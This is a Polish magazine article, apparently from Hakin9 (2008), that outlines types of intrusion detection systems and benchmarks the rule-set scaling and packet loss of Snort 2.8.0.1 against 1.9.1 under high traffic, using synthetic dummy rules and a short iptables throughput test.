jakie wyróżniamy typy systemów
wykrywania włamań i jakie są
ich podstawowe cechy,
czym jest sygnatura systemu IDS,
powinieneś znać podstawy
działania sieci komputerowych.
Zgodnie z zaprezentowanym wyżej podziałem jest
więc systemem opartym na sieci, wykrywającym
nadużycia ze wszystkimi tego konsekwencjami.
Systemy IDS oparte na sieci
Systemy tego typu wykrywają ataki
przechwytując i analizując ruch w sieci. Dzięki
temu jeden system może monitorować działanie
i chronić wiele maszyn w danym segmencie
sieci. Jakość tej ochrony oraz możliwa liczba
chronionych maszyn w dużej mierze zależy od
poprawnego umiejscowienia sensora, czym tutaj
nie będę się zajmować.
Spotyka się różne konfiguracje pracy
sieciowego systemu IDS. Może to być system
zbudowany przy pomocy tylko jednej maszyny
(takim przypadkiem zajmuję się w tym artykule),
która wypełnia zadania przechwytywania
ruchu sieciowego, jego analizowania,
składowania i reagowania na ataki. Istnieje
także możliwość rozproszenia pracy poprzez
zaimplementowanie kilku sensorów w sieci.
Sensory te mogą przekazywać informacje do
jakiejś centralnej jednostki, która zajmować się
może składowaniem, analizą i korelacją danych
zebranych przez poszczególne sensory.
Dedykowane maszyny, które pracują jako
sensory sieciowego systemu wykrywania
włamań, jest łatwo zabezpieczyć. Wystarczy
zastosować ukryty tryb pracy (ang. stealth),
co sprawia, że atakujący ma dużą trudność z
wykryciem i zidentyfikowaniem takiego systemu.
Stopień trudności
Analiza
systemu
SNORT
Konieczność analizy wszystkich pakietów przesyłanych w sieci
przez system wykrywania włamań jest niezwykle istotna. Zgubienie
choćby jednego pakietu może doprowadzić do sytuacji niewykrycia
ataku. Należy w taki sposób konfigurować system wykrywania
włamań, aby do tego typu sytuacji nie dopuścić.
51
ANALIZA WYDAJNOŚCI SYSTEMU SNORT
HAKIN9
6/2008
Temat ten nie wchodzi jednak w zakres
artykułu.
Zalety systemów IDS opartych na sieciach:
• kilka dobrze umiejscowionych
sensorów sieciowego systemu
wykrywania włamań jest w stanie
monitorować dużą sieć,
• wdrożenie systemu nie ingeruje w
dotychczasową strukturę sieci, ani w
jej działanie; sieciowe systemy IDS są
często pasywnymi urządzeniami, które
badają ruch sieciowy bez ingerowania
w jego przebieg,
• systemy takie można dobrze
zabezpieczyć, a nawet sprawić, by nie
były widzialne dla intruzów,
• możliwe jest wykrywanie ataków
przeprowadzanych przy użyciu sieci, jak
również przeprowadzanych przeciwko
sieci jako całości, np. skanowania sieci.
Wady systemów IDS opartych na sieciach:
• sieciowe systemy wykrywania włamań
posiadają pewne ograniczenia (ich
zaprezentowaniem zajmę się w
dalszej części artykułu) dotyczące
przetwarzania całego ruchu w
sieciach o dużej przepustowości, co
może prowadzić do niemożności
wykrycia ataku przeprowadzanego w
momencie wysokiego nasilenia ruchu
sieciowego (który często towarzyszy
przeprowadzaniu ataków pewnych
typów),
• nie potrafią analizować ruchu
szyfrowanego, ponieważ nie znają
kluczy sesyjnych; pojawia się problem
zaufanej trzeciej strony,
• brakuje możliwości stwierdzenia,
czy atak zainicjowany przez intruza
powiódł się, czy też nie; wynika to z
analizy jedynie ruchu sieciowego, w
którym skutki włamania nie muszą się
objawić,
• podatność na ataki typu wstawienia,
odrzucenia, ataki TTL.
Systemy IDS
oparte na hoście
Systemy IDS oparte na hoście
przetwarzają informacje dotyczące
jednego systemu. Najczęściej są to
informacje dotyczące pewnej konkretnej
maszyny. Ten dogodny punkt pracy
systemu wykrywania włamań pozwala
na analizę charakteryzującą się dużą
niezawodnością i dokładnością.
Możliwe jest dokładne określenie, które
procesy i którzy użytkownicy biorą
udział w przeprowadzaniu danego
ataku w systemie. W przeciwieństwie do
sieciowych systemów IDS, systemy oparte
na hoście mogą także badać efekt ataku.
Są one bowiem w stanie bezpośrednio
monitorować systemy plików oraz procesy
na atakowanej maszynie.
Tego typu systemy wykorzystują jako
źródło informacji przede wszystkim pliki
dziennika systemu operacyjnego. Znajdują
się tam dane pochodzące zarówno od
jądra systemu operacyjnego, często
obszerne i szczegółowe, jak również
dane pochodzące z innych źródeł (np. od
konkretnych aplikacji).
Zalety systemów IDS opartych na hoście:
• potrafią dokładnie pokazać, co zrobił
intruz – można stwierdzić, jakie wydał
komendy, jakie pliki otwierał,
• posiadają zdolność do monitorowania
lokalnych dla danego hosta zdarzeń,
• mogą pracować w środowisku, w
którym ruch sieciowy jest szyfrowany.
Wady systemów opartych na hoście:
• są trudne w zarządzaniu, ponieważ
każdy z systemów wykrywania włamań
musi zostać skonfigurowany oddzielnie,
• mogą zostać unieszkodliwione
podczas ataku, ponieważ stanowią
część atakowanego systemu,
• wykorzystują moc obliczeniową
maszyny, którą ochraniają – a co
za tym idzie, obniżają jej użyteczną
wydajność.
Systemy IDS
wykrywające anomalie
Systemy te identyfikują nienormalny,
niezwykły sposób zachowania (anomalie)
w sieci lub na danym hoście. Ich praca
opiera się na podstawowym założeniu,
iż ataki generują inne zachowania niż
normalna praca i dzięki temu mogą
być wykryte. Budowane są profile
reprezentujące normalne zachowania
użytkowników, hostów czy połączeń
sieciowych. Następnie zbierane są dane
o zachowaniu w określonej chwili, a
Rysunek 1.
Wydajność systemu Snort dla
standardowego zestawu sygnatur
Rysunek 2.
Wydajność systemu Snort dla
zbioru sygnatur otwartych
Rysunek 3.
Wydajność systemu Snort dla zbioru sygnatur o stałym porcie
OBRONA
52
HAKIN9 6/2008
ANALIZA WYDAJNOŚCI SYSTEMU SNORT
53
HAKIN9
6/2008
przy wykorzystaniu różnych sposobów
pomiaru stwierdza się, czy monitorowana
działalność odbiega od normy.
Metody pomiarów mogą być różne.
Można mierzyć wartość zasobów
zużywanych przez użytkownika czy proces
(np. liczba otwartych plików, niepoprawnych
zalogowań do systemu itp.). Przekroczenie
pewnej wartości granicznej może oznaczać
nienormalną sytuację.
Jako metodę pomiaru można także
stosować analizę statystyczną, zarówno
parametryczną jak i nieparametryczną. Przy
analizie statystycznej mamy do czynienia
z przypadkiem, kiedy rozkład zdarzeń musi
mieścić się w pewnym z góry określonym
zakresie. W innej sytuacji rozkład badanych
wielkości musi być podobny do rozkładu
wielkości, które przyjęte zostały jako zbiór
odniesienia. Może on się zmieniać wraz z
upływem czasu. Stosowane są także inne
metody oparte na sieciach neuronowych,
algorytmach genetycznych czy modelu
systemów odpornościowych.
Zalety systemów IDS wykrywających
anomalie:
• systemy te wykrywają niezwykłe
zachowania, w związku z tym posiadają
zdolność wykrywania nowych,
nieznanych do tej pory ataków,
• wynikiem ich działania może być
informacja, która w dalszej kolejności
zostanie poddana analizie systemu
działającego na zasadzie wykrywania
nadużyć; może to podnieść skuteczność
systemu, a w szczególności ograniczyć
liczbę fałszywych alarmów.
Wady systemów IDS wykrywających
anomalie:
• często generują dużą liczbę alarmów
spowodowaną nieprzewidywalnością
zachowań użytkowników czy sieci,
• wymagają uczenia – takiemu
systemowi trzeba dostarczyć zbioru
uczącego, na podstawie którego
utworzone zostaną bazowe profile; zły
zbiór uczący uniemożliwi późniejszą
poprawną pracę systemu.
Systemy IDS
wykrywające nadużycia
Systemy te wyszukują w monitorowanym
środowisku zdarzeń lub ich grup, które
zdefiniowane zostały jako zabronione. Są
to opisy znanych ataków. Tak zdefiniowane
reguły nazywają się sygnaturami ataku.
W związku z tym faktem opisywane
rozwiązania bywają nazywane także
systemami opartymi na sygnaturach.
Najczęściej spotykanym podejściem
do tej techniki wykrywania włamań jest
porównywanie danych otrzymanych od
generatora zdarzeń do poszczególnych
wzorców (sygnatur).
Zalety systemów IDS wykrywających
nadużycia:
• są bardzo efektywne w wykrywaniu
ataków, a przy tym generują niewielką
liczbę fałszywych alarmów,
• potrafią szybko i niezawodnie
diagnozować użycie specyficznego
narzędzia ataku lub techniki, co może
być pomocne przy podejmowaniu
odpowiednich działań przez
administratora,
• nie wymagają od osoby
administrującej dużej wiedzy, sygnatury
ataków są powszechnie dostępne i nie
ma konieczności tworzenia własnych
(aczkolwiek jest to w wielu przypadkach
wysoce wskazane).
Wady systemów IDS wykrywających
nadużycia:
• potrafią wykrywać tylko ataki, które
już są znane; sygnatura ataku musi
znajdować w bazie wiedzy,
• wzrost liczby sygnatur powoduje
obniżenie wydajności systemu (tym
problemem zajmę się dokładnie w
dalszej części artykułu).
Sygnatury
Tworzone sygnatury powinny spełniać
kilka warunków. Powinny generować jak
najmniejszą (najlepiej zerową) liczbę
fałszywych alarmów. Sytuację taką można
osiągnąć poprzez tworzenie sygnatur
jednoznacznie opisujących atak, przy
użyciu jak największej liczby szczegółów,
ze szczególnym naciskiem na detale
opisujące charakterystykę chronionego
środowiska. Kolejną istotną kwestią jest
tworzenie wydajnych sygnatur, a więc takich,
które nie powodują znacznego wzrostu
zapotrzebowania na moc obliczeniową
systemu wykrywania włamań. Tworzeniem
wydajnych sygnatur oraz analizą systemu
Snort pod kątem jego wydajności zajmę się
w dalszej części artykułu.
Badanie
wydajności systemu Snort
Badaniom wydajnościowym został
poddany system Snort w wersji
2.8.0.1 – najnowszej dostępnej w
momencie pisania tego artykułu.
Dla porównania przytoczę tutaj także
wyniki publikowanych już wcześniej
badań przeprowadzonych dla Snorta w
wersji 1.9.1. Pozwoli to na porównanie
Rysunek 4.
Wydajność systemu Snort dla
zestawu sygnatur o zmiennym porcie
Rysunek 5.
Standardowe reguły Snorta, ruch o zmiennym porcie docelowym
OBRONA
52
HAKIN9 6/2008
ANALIZA WYDAJNOŚCI SYSTEMU SNORT
53
HAKIN9
6/2008
wydajności różnych wersji systemu Snort
oraz na pokazanie jego rozwoju.
Aby zapewnić powtarzalność
kolejnych pomiarów, analiza wydajności
systemu Snort przeprowadzana była
z wykorzystaniem ruchu sieciowego
zapisanego do pliku w formacie tcpdump.
Plik ten miał rozmiar 1GB i zawierał ruch
przechwycony na wejściu do normalnie
działającej sieci. Nie był ruchem
wymuszonym, lecz ruchem naturalnym dla
tej sieci.
W trakcie wykonywania pomiarów
wydajności na wykorzystywanym
komputerze nie były wykonywane inne
zadania, a komputer odłączony był od
sieci – tak, aby zapewnić niezakłócone
warunki pracy. Każdy pomiar wykonany
został dziesięciokrotnie, a na poniższych
Rysunkach prezentowana jest wartość
średnia otrzymanych wyników.
Metodyka wykonywania pomiarów dla
systemu Snort w wersji 1.9.1 była podobna.
Inne były jedynie: wielkość pliku testowego
oraz parametry komputera wykorzystanego
do przeprowadzenia testów. Niemniej
jednak porównanie pozwoli na
wyciągnięcie kilku ciekawych wniosków.
Analiza przeprowadzona została dla
kilku zbiorów sygnatur. Dobór rodzaju
sygnatur pozwolił na pokazanie pewnych
interesujących cech systemu Snort.
Pierwszym przeprowadzonym
badaniem była analiza wydajności systemu
Snort z wykorzystaniem standardowych
sygnatur systemu. W momencie pisania
artykułu dla systemu Snort dostępne
były 9032 reguły. System Snort w wersji
1.9.1 dysponował zbiorem 1847 reguł. Na
Rysunku 1. przedstawiony jest czas analizy
pliku z zapisanym ruchem sieciowym
w funkcji liczby reguł wykorzystywanych
w analizie. W przypadku systemu Snort
w wersji 2.8.0.1 liczba reguł zwiększana
była co 1000, dla systemu w wersji 1.9.1
wartość ta wynosiła 100.
Jak widać na Rysunku 1., system Snort
w wersji 1.9.1 wykazuje dużą wrażliwość na
liczbę reguł. Niewielki jej wzrost powoduje
znaczny spadek wydajności systemu. W
przypadku wersji 2.8.0.1 zauważany spadek
wydajności jest niewielki, przy znacznie
większym przyroście liczby sygnatur.
Kolejnym przeprowadzonym badaniem,
była analiza wydajności systemu dla
sztucznie stworzonego zbioru reguł. Reguły
te zbudowane zostały zgodnie z poniższym
wzorcem:
alert tcp any any -> any any
(msg: "Atak numer 00100"; content:
"atak00100"; sid:00100;)
W każdej z reguł różny był jednak numer
(w przypadku powyższej reguły jest to
wartość 00100). Tak stworzony zbiór reguł
pozwalał na przetestowanie możliwości
systemu Snort do filtrowania zawartości
pakietów. Proszę zauważyć, iż powyższa
reguła określa, że alarm ma zostać
wygenerowany, gdy spełnione zostaną
następujące warunki:
•
tcp
– określa, iż protokołem warstwy
transportowej ma być protokół TCP,
•
any any -> any any
– wskazuje,
że ruch sieciowy ma być generowany
z dowolnego adresu IP, z dowolnego
portu, na dowolny adres IP oraz
dowolny port,
•
content:”atak001000”
– definiuje, że
w treści pakietu musi pojawić się ciąg
znaków
atak00100
,
• pozostałe pola są polami
informacyjnymi, nie mają wpływu
na dopasowywanie sygnatury
do ruchu sieciowego (pole
msg
definiuje informację, jaka ma zostać
zamieszczona w logach systemu
gdy opisywana reguła dopasowana
zostanie do przechwyconego
pakietu, zaś pole sid określa unikalny
identyfikator reguły).
Tak stworzony zbiór reguł możemy nazwać
zbiorem reguł otwartych (ponieważ nie
są zdefiniowane adresy IP oraz porty
komunikacji sieciowej).
Jak można zauważyć na Rysunku 2., w
przypadku Snorta w wersji 2.8.0.1 znaczący
spadek wydajności systemu zauważa się
dopiero przy liczbie reguł na poziomie
20000. Pozwala to wytłumaczyć, dlaczego
dla standardowych reguł system ten
pracował właściwie z jednakową wydajnością
bez względu na liczbę reguł. Jej maksymalna
wartość wynosiła bowiem 9032.
Starsza wersja systemu Snort już
od niewielkich wartości liczby reguł
wykazuje znaczną wrażliwość na jej wzrost.
W przypadku tej wersji maksymalną
przeanalizowaną liczbą było 2000 sygnatur.
Jak widać, dla wersji 2.8.0.1 bez problemu
wykonano pomiar dla zbioru 100000 reguł
i czas analizy w tym przypadku był krótszy
niż 10 minut.
W następnym przeprowadzonym
badaniu zmianie uległa jedynie
charakterystyka zbioru reguł. W regułach
tych numer portu docelowego ustawiony
został na wartość stałą. Tak stworzony zbiór
reguł pozwala na zbadanie wrażliwości
systemu na dużą liczbę reguł o podobnym
charakterze. Ten zbiór sygnatur możemy
nazwać zbiorem sygnatur o stałym porcie.
Rysunek 3. wskazuje, że dla systemu w
wersji 2.8.0.1 znaczący spadek wydajności
można zauważyć powyżej 20000 reguł.
W przypadku Snorta w wersji 1.9.1 testy
wykonane zostały tylko dla zakresu reguł od
100 do 2000 i w tym zakresie (podobnie jak
dla wersji 2.8.0.1) nie zauważa się wpływu
liczby reguł na wydajność systemu IDS.
W kolejnym, ostatnim już teście
wydajności badanego systemu, modyfikacji
uległ zbiór sygnatur. Tym razem w każdej
Rysunek 6.
Reguły o tym samym porcie docelowym, ruch o zmiennym porcie docelowym
OBRONA
54
HAKIN9 6/2008
ANALIZA WYDAJNOŚCI SYSTEMU SNORT
55
HAKIN9
6/2008
regule określony został port docelowy, lecz
za każdym razem był on inny. Biorąc pod
uwagę fakt, iż numer portu docelowego
zapisywany jest w polu 16-bitowym, testy
przeprowadzono dla zbioru do 60000
sygnatur. W przypadku systemu w wersji
1.9.1 maksymalna liczba reguł wynosiła
– podobnie jak wcześniej – 2000. Ten zbiór
wzorców ataków możemy nazwać zbiorem
sygnatur o zmiennym porcie.
Na Rysunku 4. widać, iż tym razem
znaczny spadek wydajności systemu Snort
w wersji 2.8.0.1 można zauważyć już przy
liczbie 5000 reguł. Wyraźnie zaznacza się
także fakt znacznie szybszego spadku
wydajności dla starszej wersji badanego
systemu.
Wnioski
We wszystkich pomiarach wyraźnie
zaznacza się fakt dużo wyższej wydajności
najnowszej wersji systemu Snort. Pozwala
to jednoznacznie wysunąć tezę o
konieczności aktualizacji systemu Snort
– choćby z tego jednego powodu, choć
można by ich wyliczyć znacznie więcej.
Dzięki wymienionej powyżej
właściwości nowej wersji systemu, jest on
w stanie doskonale radzić sobie z analizą
ruchu sieciowego z wykorzystaniem
całego dostępnego standardowego zbioru
reguł. Stwierdzenie to jest nieprawdziwe
w odniesieniu do starszej wersji systemu,
mimo iż liczba reguł jest w tym przypadku
kilkukrotnie mniejsza.
W przypadku Snorta w wersji
2.8.0.1 można stwierdzić, iż liczba reguł
(do wartości około 20000) nie ma
znaczącego wpływu na wydajność
systemu, o ile są to reguły podobne.
Powyżej 20000 reguł obserwujemy
spadek wydajności systemu.
Charakterystyka wydajności na Rysunkach
2. i 3. jest niemal identyczna, mimo iż
rodzaje reguł są inne, ale należy zauważyć,
iż każdy z tych zbiorów zbudowany został z
reguł o podobnej specyfice. W przypadku
starszej wersji systemu reguły otwarte
stanowią poważny problem i obserwujemy
w tym przypadku znaczny spadek
wydajności.
Test przeprowadzony dla reguł o
zmiennym porcie pokazuje jednak, iż
liczba reguł różniących się między sobą
charakterystyką ma znacznie większy
wpływ na spadek wydajności niż miało to
miejsce w przypadku reguł o podobnej
strukturze. Jak widać na Rysunku 4., dla
liczby około 5000 reguł obserwujemy
początek istotnego narastania spadku
wydajności. Snort w wersji 1.9.1 cechuje
się taką samą, lecz znacznie szybciej
ujawniającą się tendencją.
Wobec powyższego powstaje jeszcze
pytanie, dlaczego dla standardowych
reguł systemu Snort nie obserwujemy
spadku wydajności powyżej wartości
5000 reguł. Odpowiedź jest bardzo
prosta. Otóż standardowy zbiór reguł
badanego systemu nie charakteryzuje
się dużą zmiennością. Występują w nim
grupy podobnych reguł. Na przykład reguł
kierowanych na port 80 jest aż 2418, co
stanowi prawie 27% całego zbioru.
Badanie zdolności systemu
Snort do poprawnej pracy w
sieci o dużym natężeniu ruchu
Badania przeprowadzone zostały
w warunkach laboratoryjnych z
wykorzystaniem wielu stanowisk
komputerowych oraz przełącznika
pozwalającego na przesyłanie
generowanego ruchu do pojedynczej
maszyny z prędkością bliską 1Gb/s. Ruch
generowany był z wykorzystaniem kilku
komputerów, z których każdy generował
ruch o wolumenie bliskim 100 Mb/s. Ruch
ten kierowany był na pojedynczą maszynę,
na której pracował system wykrywania
włamań. Rozwiązanie takie pozwoliło na
wygenerowanie dużego ruchu sieciowego,
przy czym maszyny generujące nie były
nadmiernie obciążone – co zapewniło
szybki i niezawodny proces generacji.
Zadaniem każdego komputera było jak
najszybsze wygenerowanie 1000000
pakietów o zadanej charakterystyce.
Charakterystyka ta była modyfikowana dla
poszczególnych testów.
Do tworzenia pakietów wykorzystano
generator pakietów wchodzący w skład
dystrybucji jądra systemu Linux. Jako że
wykorzystany generator pozwala tylko
na generowanie pakietów UDP, testy
przeprowadzone zostały na regułach
UDP systemu Snort oraz na sztucznie
tworzonych zbiorach reguł UDP.
Każdy pomiar wykonany został
dziesięciokrotnie. Na poniższych wykresach
prezentowana jest średnia arytmetyczna
wyników uzyskanych w kolejnych próbach.
Pierwszy test przeprowadzony został
dla zbioru standardowych reguł Snorta
dla protokołu UDP. Dla Snorta w wersji
2.8.0.1 dostępnych było 789 takich reguł,
dla wersji 1.9.1 było ich tylko 181. Wszystkie
tworzone dalej zbiory reguł złożone były
z takiej samej liczby sygnatur. Z kolei
generowany ruch sieciowy charakteryzował
się zmiennością źródłowego adresu
IP (z zakresu od 192.168.92.15 do
192.168.92.250), zmiennością źródłowego
portu (z zakresu od 10 do 65510) oraz
zmiennością docelowego portu (z zakresu
od 1 do 1024).
Rysunek 7.
Reguły o tym samym
porcie docelowym, ruch o stałym porcie
docelowym
Rysunek 8.
Reguły o zmiennym porcie docelowym, ruch o zmiennym porcie docelowym
OBRONA
54
HAKIN9 6/2008
ANALIZA WYDAJNOŚCI SYSTEMU SNORT
55
HAKIN9
6/2008
Jak widać na Rysunku 5., do prędkości
rzędu 200 Mb/s system w wersji 2.8.0.1
pracuje dobrze, dla systemu w wersji
1.9.1 wartością graniczną jest wolumen
około 90 Mb/s. Gubiona jest niewielka
liczba pakietów. Powyżej w/w wartości
granicznych praca systemów IDS wymaga
wzmożonego zapotrzebowania na moc
obliczeniową. Powoduje to wzrost liczby
gubionych pakietów.
W kolejnym teście wykorzystany został
sztucznie wygenerowany zbiór 789 reguł.
Reguły te zbudowane zostały zgodnie z
poniższym wzorcem:
alert udp any any -> any 234
(msg: "Atak numer 003"; content:
"atak003"; sid:003;)
W każdej z reguł określony został ten sam,
stały numer portu docelowego (234).
Różniły się one między sobą jedynie
wartością pola content. Generowany ruch
posiadał taką samą charakterystykę, jak w
poprzednim teście.
Rysunek 6. prezentuje wyniki tego
testu. Snort w wersji 2.8.0.1 pracuje nie
gubiąc pakietów, aż do przepustowości
na poziomie 700 Mb/s. Dopiero powyżej
tej wartości zaczynają pojawiać się
straty w przechwyconych pakietach.
Wtedy też obciążenie procesora wzrasta
do poziomu bliskiego 100%. Z kolei
Snort w wersji 1.9.1 gubi pakiety już
dla przepustowości powyżej 100 Mb/s.
Warto zauważyć, iż w teście tym zaledwie
znikoma część wygenerowanych
pakietów posiadała taki port docelowy,
jaki określony został we wszystkich
regułach.
W następnym badaniu sytuacja
ta ulegnie zmianie. Otóż wszystkie
generowane pakiety będą posiadały taki
port docelowy, jak wszystkie sygnatury w
wykorzystywanym zbiorze. W teście tym
bowiem zbiór sygnatur pozostaje taki sam,
jak w poprzednim przypadku.
Wyniki tego testu (przedstawione na
Rysunku 7.) bardzo wyraźnie uwidaczniają
wyższość nowej wersji badanego systemu
IDS. Do przepustowości rzędu 400
Mb/s system ten praktycznie nie gubi
pakietów. Dopiero powyżej tej granicy
pojawiają się problemy. Jest to ściśle
związane z zapotrzebowaniem na moc
obliczeniową. Snort w wersji 1.9.1 wypada
w tej konkurencji znacznie gorzej. Nie jest
w stanie przeanalizować ruchu sieciowego
na żadnym z badanych poziomów. System
został unieszkodliwiony.
Test ten pokazuje, jak może zachować
się system wykrywania włamań, który
pracuje z wykorzystaniem standardowych
reguł w sieci, w której generowana jest
duża ilość ruchu HTTP. Jak wcześniej
wspomniałem, w standardowym zbiorze
sygnatur znajduje się 2418 wzorców ataków
kierowanych przeciwko serwerom HTTP.
W następnym wykonywanym badaniu
zmianie uległ zarówno zbiór reguł, jak i
charakterystyka generowanych pakietów.
Zbiór reguł zawierał teraz reguły różniące
się między sobą nie tylko informacją
zawartą w polu content, ale także wartością
portu docelowego. Dla każdej z reguł port
ten był inny.
Generowany ruch sieciowy
charakteryzował się zmiennością
źródłowego adresu IP (z zakresu od
192.168.92.15 do 192.168.92.250),
zmiennością źródłowego portu (z zakresu
od 10 do 65510) oraz zmiennością
docelowego portu (z zakresu od 100 do
888). Zakres użytych portów docelowych
był identyczny, jak zakres portów użytych w
zbiorze sygnatur.
W porównaniu z poprzednim testem
mamy więc do czynienia z sytuacją, gdy
każdy pakiet pasuje do jednej z reguł
(pod względem portu docelowego). W
poprzednim teście każdy pakiet pasował
do każdej reguły (pod względem portu
docelowego).
W tym teście (Rysunek 8.) system
w wersji 2.8.0.1 osiąga wyniki niemal
identyczne, jak w poprzednim. Z kolei
system w wersji 1.9.1 uzyskuje wyniki
znacznie lepsze niż w poprzednim, niemniej
jednak jednocześnie wyraźnie gorsze niż
nowa wersja systemu Snort. Porównanie
wyników tego oraz poprzedniego testu
pozwala stwierdzić, iż w nowej wersji
systemu struktura reguł nie ma wpływu
na jego wydajność (do granicy około
400 Mb/s). W przypadku starszej wersji
systemu struktura reguł ma silny wpływ
na wydajność. W poprzednim teście
mieliśmy tak naprawdę do czynienia z
dopasowywaniem zawartości pakietów
do dużej liczby wzorców, z kolei w tym
teście – tylko do jednego wzorca (każdy
pakiet pasował tylko do jednej reguły pod
względem portu docelowego). Pozwala
to wyciągnąć wniosek, iż system Snort w
wersji 2.8.0.1 realizuje analizę pakietów
w zupełnie inny sposób niż system Snort
w wersji 1.9.1. Starsza wersja badanego
systemu w pierwszej kolejności analizuje
dane nagłówka IP oraz UDP (i zapewne
TCP). Nie można natomiast na podstawie
przeprowadzonych badań wyciągnąć
analogicznych wniosków dla wersji 2.8.0.1.
Ostatni przeprowadzony test wymagał
jedynie modyfikacji generatora pakietów.
Zbiór reguł pozostał taki sam, jak w
poprzednim teście. Generowane pakiety
Rysunek 10.
Analiza wydajności filtra
pakietów iptables
Rysunek 9.
Reguły o zmiennym porcie docelowym, ruch o stałym porcie docelowym
OBRONA
56
HAKIN9 6/2008
posiadały określony jeden port docelowy,
który pasował do jednej z reguł w zbiorze.
Z Rysunku 9. można wywnioskować,
że Snort w najnowszej wersji uzyskał
wynik niemal identyczny, jak w dwóch
poprzednich badaniach. Z kolei system
w wersji 1.9.1 uzyskał w tym teście
najlepsze rezultaty z ostatnich trzech
tutaj prezentowanych. Potwierdza to
jednoznacznie wnioski wysunięte powyżej.
Wnioski
Dla Snorta w wersji 2.8.0.1 nie ma
znaczenia charakterystyka reguł, która
w przypadku systemu w wersji 1.9.1
jest bardzo istotna (wyraźnie cechę tę
prezentują zależności przedstawione na
Rysunkach 7., 8. oraz 9.). Wynika z tego, iż
Snort w wersji 2.8.0.1 – w przeciwieństwie
do wersji 1.9.1 – nie jest wrażliwy na
badanie zawartości pakietów.
Przechwytywany ruch sieciowy, który
nie pasuje do żadnej z reguł systemu
IDS, nie wpływa znacząco na wydajność
tego systemu (właściwość tę prezentuje
Rysunek 6.).
Ważnym elementem systemu
wykrywania włamań jest moc
obliczeniowa zastosowanej maszyny.
Jak wynika z zaprezentowanych
powyżej wyników badań, analiza ruchu
sieciowego wymaga bardzo dużej mocy
obliczeniowej. Na Rysunkach 5.-9. można
zauważyć także pewną zależność. Gdy
obciążenie procesora nie przekracza
50%, liczba gubionych pakietów jest
równa lub bliska 0%. Wynika z tego, iż
maszyna, na której pracuje sieciowy
system wykrywania włamań oparty
na sygnaturach, powinna mieć moc
obliczeniową dwukrotnie większą niż
moc potrzebna do przeanalizowania
maksymalnego ruchu w sieci przy
założeniu zbioru reguł o możliwie
niekorzystnej charakterystyce.
Zbiór sygnatur należy tworzyć z
należytą uwagą – tak, aby nie umieszczać
w nim sygnatur niepotrzebnych.
Administrator nie musi przecież wiedzieć
o próbie przeprowadzenia ataku na
serwer FTP, jeśli takiego serwera nie
posiada w sieci chronionej. Oczywiście
ta wiedza byłaby cenna, ale jej zdobycie
może doprowadzić do utraty informacji o
przeprowadzonym udanym ataku. Wiedza
o tym drugim fakcie jest znacznie bardziej
wartościowa.
Innym sposobem na podniesienie
wydajności systemu wykrywania włamań
jest zbudowanie systemu rozproszonego,
gdzie każda z maszyn posiadać będzie
tylko pewien podzbiór sygnatur. Jest to
rozwiązanie drogie, ale w wielu sytuacjach
może okazać się jedynym gwarantującym
wysoki poziom bezpieczeństwa.
Wsparcie dla systemu
IDS – wydajność
filtra pakietów iptables
W trakcie wdrażania systemu Snort
na pewno zrodzi się pytanie, gdzie
go umiejscowić. Czy sensor systemu
powinien znaleźć się już za firewallem,
wewnątrz sieci chronionej, czy może
jeszcze przed firewallem, na styku z siecią
zewnętrzną?
Umiejscowienie sensora przed
firewallem pozwoli na uzyskanie informacji
o wszystkich próbach ataków, także
takich, które nie zostaną przepuszczone
przez firewall. Umieszczenie sensora za
firewallem pozwoli z kolei na uzyskanie
informacji o wszystkich próbach ataków,
które przedostały się przez firewall.
Porównanie informacji zebranych przez
oba te sensory pozwoli na określenie
skuteczności firewalla. Nie będę się teraz
jednak zajmował tą problematyką. Chodzi
mi bowiem o fakt przepuszczania – bądź
nie – pakietów przez firewall.
Jak wykazały przeprowadzane testy,
system Snort nie może zapewnić ochrony
sieci gigabitowej. Może w takim razie
można mu pomóc? Może zastosować
filtr pakietów jako narzędzie służące do
ograniczenia ilości ruchu sieciowego,
jaki musi zostać przeanalizowany przez
system wykrywania włamań? Pomysł
prawdopodobnie jest dobry – pytanie
tylko, czy sam filtr pakietów jest w stanie
analizować ruch w sieciach o dużej
przepustowości?
Postanowiłem to sprawdzić na
przykładzie filtra pakietów iptables,
przeprowadzając bardzo krótkie badanie
na takiej samej maszynie, na jakiej
testowany był system Snort. Rysunek
10. prezentuje wyniki tej analizy. Mam
nadzieję, iż wnioski nasuwają się
same. Dodam jeszcze tylko, iż zmiana
szczegółowości reguł oraz ich liczby
nie wpływała znacząco na wydajność
testowanego filtra pakietów.
Podsumowanie
Wdrażanie sieciowego systemu
wykrywania włamań w sieciach,
które mogą przesyłać dane z dużą
przepustowością, stanowi duże wyzwanie.
Jak wynika z przeprowadzonych badań
wydajności systemu Snort, system ten
nie gwarantuje ochrony w gigabitowych
sieciach. Widać jednak poprawę w tej
dziedzinie. Jak pokazało porównanie
dwóch wersji systemu Snort, wersja
aktualna charakteryzuje się znacznie
większą wydajnością od swojego
poprzednika. Jak pokazały testy, dosyć
istotną kwestią jest ograniczanie liczby
różnorodnych reguł. Ma to znaczący wpływ
na podniesienie wydajności sieciowego
systemu IDS wykrywającego nadużycia.
Wydajność systemu zależy także od
wydajności posiadanej maszyny, ale należy
dążyć do możliwie dużego obniżenia
zapotrzebowania na moc obliczeniową.
Przyczyni się to do podwyższenia poziomu
bezpieczeństwa, ponieważ redukuje się
w ten sposób potencjalną możliwość
zgubienia pakietu – szczególnie w sytuacji
zwiększenia natężenia ruchu sieciowego.
Wartym rozważenia jest również
punkt umiejscowienia systemu
wykrywania włamań w strukturze sieci,
a także możliwość wsparcia jego pracy
dodatkowymi narzędziami. Istotną rolę
takiego działania pokazałem w przypadku
analizy wydajności filtra pakietów iptables.
W Sieci:
•
http://www.snort.org,
•
http://www.netfilter.org,
•
http://www.securityfocus.com/infocus/1728,
•
http://www.securityfocus.com/infocus/1733
Marcin Klamra
Specjalista ds. Bezpieczeństwa firmy CCNS SA, asystent
w Instytucie Teleinformatyki Politechniki Krakowskiej.
Od 1999 roku zajmuje się zagadnieniami administracji
systemów komputerowych i bezpieczeństwem
w sieciach komputerowych. Na stałe związany z
firmą CCNS SA, w której zajmuje się rozwiązaniami
bezpieczeństwa sieciowego. Jako Certyfikowany Trener
WatchGuard Inc. prowadzi szkolenia w Autoryzowanym
Centrum Szkoleniowym WatchGuard stworzonym przez
firmę CCNS SA.
Swoją wiedzę pogłębia uczestnicząc jako asystent
naukowy w pracach badawczych Instytutu Teleinformatyki
Politechniki Krakowskiej.
Kontakt z autorem: m.klamra@ccns.krakow.pl
58
OBRONA
HAKIN9 6/2008
S
zlachetne zdrowie, nikt się nie dowie,
jako smakujesz, aż się zepsujesz
– tak kiedyś Jan Kochanowski pisał
